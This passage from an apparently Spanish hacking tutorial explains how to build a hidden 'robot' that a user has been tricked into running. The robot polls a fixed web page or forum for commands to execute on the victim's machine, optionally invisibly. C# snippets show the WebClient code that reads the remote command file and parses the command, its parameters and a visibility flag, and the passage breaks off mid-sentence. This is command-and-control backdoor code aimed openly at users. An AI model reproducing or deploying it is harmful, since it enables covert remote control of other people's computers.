Índice

Gobernar un equipo remoto

Cuando ejecuta una aplicación trampa para un usuario, está tomando riesgos. Este usuario podría optar por no ejecutar cada archivo que le envía. Debe encontrar primero la manera de que ejecute sus comandos sin que ejecute varias aplicaciones trampa. Vamos a crear una aplicación robot que buscará asiduamente en un sitio web los comandos que debe ejecutar.

1. Principios básicos

Vamos a utilizar un objeto WebClient para abrir el archivo sin descargarlo.

WebClient paginaWeb = new WebClient(); 
Stream flujo = paginaWeb.OpenRead(ruta); 
StreamReader contenido = new StreamReader(flujo);

La primera línea es el comando, la segunda representa los parámetros y la tercera indica si la aplicación debe ser visible o no para el usuario.

      string command, param = "";  
      bool EsVisible = false;  
      command = contenido.ReadLine();  
      try{ param = contenido.ReadLine(); } catch { }  
      try { EsVisible = bool.Parse(contenido.ReadLine()); } catch { }

El archivo de comandos es un simple archivo de texto, subido en un sitio web con una dirección fija y siempre con el mismo nombre. La variable Contenido es la página web que se lee. Se puede leer una página más compleja, como un blog o un foro, y buscar allí comandos que se van a ejecutar. Basta con analizar el texto de esta variable.

El texto que genera el comando para mostrar ...